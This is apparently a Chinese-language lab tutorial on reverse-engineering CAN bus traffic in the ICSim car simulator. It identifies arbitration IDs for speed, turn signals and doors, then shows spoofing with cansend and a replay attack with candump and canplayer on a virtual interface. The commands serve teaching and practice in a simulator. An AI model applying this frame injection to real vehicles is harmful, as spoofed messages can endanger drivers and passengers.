ICSim CAN 总线逆向与伪造,重放攻击
什么是can总线
是车辆内部ECU之间通信的串行总线协议,每个ECU负责管理一个或多个特定的功能
can的通信方式是全局通信,因此,只要接入任意节点,便能轻易访问总线上所有的信息,且它是以明文形式传输,没有任何保护,但是有crc校验
cam总线有优先级的仲裁方式,多条消息,优先级高的先行发出,所以利用这一点,可以致使ECU无法正常工作
can总线不包含发送方的信息
can的数据帧结构:SOF | Arbitration | Control | Data | CRC | ACK | EOF
安装环境
先安装依赖
1 2 3 4 5 6 7
| sudo apt update sudo apt install -y \ can-utils \ git \ build-essential \ libsdl2-dev \ libsdl2-image-dev
|
然后下载ICSIM模拟器,可以模拟汽车的仪表盘和控制器
1 2 3
| git clone https://github.com/zombieCraig/ICSim cd ICSim make
|
接着就是开启网卡,用来作接口
1 2 3 4
| sudo modprobe can sudo modprobe vcan sudo ip link add dev vcan0 type vcan sudo ip link set up vcan0
|
执行完要看看有没有生成vcan0网卡
启动模拟器
进入ICSim文件夹,icsim是用来模拟面板,controls是用来模拟控制器
1 2 3 4 5 6 7
| …/ICSim on 🌱 master [🤷] via C v11.4.0-gcc
❯ ls art controls.o icsim.c lib.h Makefile setup_vcan.sh controls data icsim.o lib.o meson.build controls.c icsim lib.c LICENSE README.md
|
开启
然后就是输入对应按键执行就好了
加速:上箭头
减速:下箭头
左闪光:左箭头
右闪光:右箭头
双闪:双箭头
开车门:左shift+对应按键(A,X,Y,B)
关车门:右shift+对应按键
分析can帧
获取can流量:candump vcan0
直接看第一行,166指的是can_id,就是优先级,越小越优先。中括号内的就是字节数,后面就是内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| …/ICSim on 🌱 master [🤷] via C v11.4.0-gcc
❯ candump vcan0 vcan0 166 [4] D0 32 00 36 vcan0 244 [5] 00 00 00 01 9E vcan0 039 [2] 00 2A vcan0 158 [8] 00 00 00 00 00 00 00 37 vcan0 161 [8] 00 00 05 50 01 08 00 3A vcan0 191 [7] 01 00 90 A1 41 00 21 vcan0 133 [5] 00 00 00 00 89 vcan0 136 [8] 00 02 00 00 00 00 00 0C vcan0 13A [8] 00 00 00 00 00 00 00 0A vcan0 13F [8] 00 00 00 05 00 00 00 00 vcan0 164 [8] 00 00 C0 1A A8 00 00 22 vcan0 17C [8] 00 00 00 00 10 00 00 03 vcan0 18E [3] 00 00 4D vcan0 1CF [6] 80 05 00 00 00 0F vcan0 1DC [4] 02 00 00 0C vcan0 183 [8] 00 00 00 10
|
伪造攻击
然后就是要寻找对应的仲裁id
cansniffer -c vcan0:这个可以分析每毫秒在变化的字节所在的帧,就是can_id
因此可以发现,车速的仲裁id是244
获取流量candump vcan0,244:7FF,7ff是掩码,指的是获取高11位的数据,最后一个字节应该是校验的,因为不加速的时候也在不停变化
1 2 3 4 5 6 7 8 9 10 11 12
| …/ICSim on 🌱 master [🤷] via C v11.4.0-gcc
❯ candump vcan0,244:7ff vcan0 244 [5] 00 00 00 04 50 vcan0 244 [5] 00 00 00 04 62 vcan0 244 [5] 00 00 00 04 74 vcan0 244 [5] 00 00 00 04 86 。。。。。。。。。。。。。 vcan0 244 [5] 00 00 00 09 55 vcan0 244 [5] 00 00 00 09 67 vcan0 244 [5] 00 00 00 09 7A
|
然后关闭控制器,发送cansend vcan0 244#000000FF00,可以发现仪表盘速度改为对应大小
然后可以发现转向灯的仲裁id应该是188
01 00 00 00 00:左转
02 00 00 00 00:右转
03 00 00 00 00:双闪
然后是开关车门仲裁id是19B,全开就是00 00 0F 00 00 00,全关就是00
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| …/ICSim on 🌱 master [🤷] via C v11.4.0-gcc
❯ candump vcan0,19B:7FF vcan0 19B [6] 00 00 0F 00 00 00 vcan0 19B [6] 00 00 0F 00 00 00 vcan0 19B [6] 00 00 0F 00 00 00 vcan0 19B [6] 00 00 0F 00 00 00 vcan0 19B [6] 00 00 0E 00 00 00 vcan0 19B [6] 00 00 0C 00 00 00 vcan0 19B [6] 00 00 04 00 00 00 vcan0 19B [6] 00 00 00 00 00 00 ^C …/ICSim on 🌱 master [🤷] via C v11.4.0-gcc took 35s
❯
|
至此通过获取仲裁id,我们可以通过这些id去实际控制车辆功能,这就是伪造攻击
重放攻击
首先是获取流量记录,当是速度到达一定值,执行candump -l vcan0,会生成一个流量文件,然后回放文件,执行canplayer -I xxxxx.log就可以回溯成功了
参考
ICSim CAN 总线逆向与伪造,重放攻击-先知社区